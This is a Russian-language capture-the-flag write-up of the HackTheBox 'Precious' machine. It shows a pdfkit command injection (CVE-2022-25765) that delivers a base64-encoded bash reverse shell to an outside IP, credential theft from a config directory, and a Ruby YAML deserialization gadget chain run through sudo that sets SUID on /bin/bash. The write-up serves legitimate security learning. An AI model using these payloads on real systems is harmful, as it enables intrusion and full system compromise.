[RU] HackTheBox - Precious

[RU] HackTheBox - Precious

Machine Walkthrough

·

5 min read

Вступление

Машина хорошо раскрывает последствия эксплуатации критической уязвимости, а именно инъекции комманд в pdfkit. И в добавок это заканчивается интересным и уникальным горизонтальным повышением привелегий.


Разведка

Самым первым делом всегда стоит просканировать машину на открытые порты с помощью Nmap, но я предпочитаю threader3000(clickable link)

Оно быстрее сканирует порты, и после отправляет открытые порты в детальный Nmap скан (-sC для дефолтных скриптов и -sV для энумерации версий)

Детальный скан Nmap:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

И мы видим 2 открытых порта, в приоритете будет 80.

HTTP Server:

Нас редиректит на precious.htb, тогда добавим его в /etc/hosts:

# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1       localhost
::1             localhost
127.0.1.1       archlinux.localdomain   archlinux
#THM

#HTB

10.10.11.189    precious.htb

Так-то лучше, мы видим довольно простой интерфейс для конвертации веб страниц в PDF, ну что-ж, не тыкая субдомены, директории и прочую балду по типу robots.txt, давайте сначала проверим функционал запустив простой веб сервер:

sudo python3 -m http.server 80

Заметьте, я запустил его от судо, потому что без него система откажет работать на низком(80) порту.

Мы получили наш заведомый PDF документ, ничего интересного я внутри не вижу. Может стоит посмотреть метаданные?

exiftool [PDF file]
ExifTool Version Number         : 12.50
File Name                       : 3hf2r90s59z1pypm38vqa0ho54pwf19h.pdf
Directory                       : .
File Size                       : 19 kB
File Modification Date/Time     : 2023:01:12 20:53:23+06:00
File Access Date/Time           : 2023:01:12 20:53:48+06:00
File Inode Change Date/Time     : 2023:01:12 20:53:40+06:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Видите последнюю строку? Это то что нам и нужно! Запомните, встретив название техноголии и её версии, всегда стоит это дело загуглить. Первая ссылка уже ведёт на эту статью, где мы узнаем что это CVE-2022-25765, а-ля инъекция комманд.

Здесь ты можешь узнать и научится Command Injection по подробнее:

TryHackMe Room

PortSwigger Academy


Эксплуатация

Если говорить простыми словами, всё внутри этих грависов будет выполняться на удалённой машине, стоит попробовать закинуть reverse shell.

Но так-как это инъекция комманд, пытаться использовать сырой payload сразу же будет плохой идеей, из-за того что одна кавычка или слеш может сломать всё к чертям. Лучше всего закодировать payload.

bash -i >& /dev/tcp/10.10.14.76/9001 0>&1

Base64:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE=

Потом, добавим декодировку и запуск:

echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash

Почти готово, теперь вставим всё в сам url:

<http://10.10.14.88/?name=%20`echo> -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash`

Отлично! Мы на машине!


Post-Exploitation

Reverse shell по стандарту обычно нестабилен, и его использование довольно еще та морока. Чтобы исправить эти недостатки его надо стабилизировать:

python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo;fg

Потом нажимаем энтер два раза, и вуаля! Теперь ваш шелл не сбрасывается при CTRL+C, имеет историю комманд и автодополнение, разве не прекрасно?

Вертикальное Повышение Привелегий

Кроме нас, тут есть еще один обычный пользователь:

cat /etc/passwd |grep sh$
root:x:0:0:root:/root:/bin/bash
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash

Давайте посмотрим что мы имеем в домашней директории, мне показалось интересным директория .bundle

Внутри нас ожидают реквизиты для входа за henry, как же всё просто…

Подрубаемся за henry через ssh:

ssh henry@precious.htb

И, мы получили юзера!

Горизонтальное повышение привелегий

Когда я имею пароль от юзера на машине, первым делом всегда проверяю sudo:

-bash-5-1$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Видимо, все пойдет через файл update_dependencies.rb, давайте взгляним на него подробнее:

-bash-5.1$ ls -la /opt/update_dependencies.rb
-rwxr-xr-x 1 root root 848 Sep 25 11:02 /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Теперь посмотри внимательно, данный скрипт использует YAML, мы можем попробовать Dynamic Code Evaluation с помощью YAML Deserialization attack.

Здесь, более подробно написано об этом:

Awesome Blogpost

Сначала, создадим файл dependencies.yml в домашней директории, и вставим это:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod +s /bin/bash"
         method_id: :resolve

Всё внутри git_set будет запущено от рута, так что сделаем всё просто, дав bash SUID бит.

Теперь запускаем наш скрипт от sudo:

-bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
    ...

Хмм, ничего интересно, посмотрим что с /bin/bash:

-bash-5.1$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Отлично! Все сработало, теперь просто запустим bash!

bash -p
-p чтобы запустить шелл без сброса привелегий

И мы получаем рут.

В завершении, я хотел бы сказать что машина довольно проста и хорошо подходит для начинающих. Ничего особо специфичного, стандарт для лёгких машин HTB, а на сегодня всё, надеюсь вам понравился мой райтап!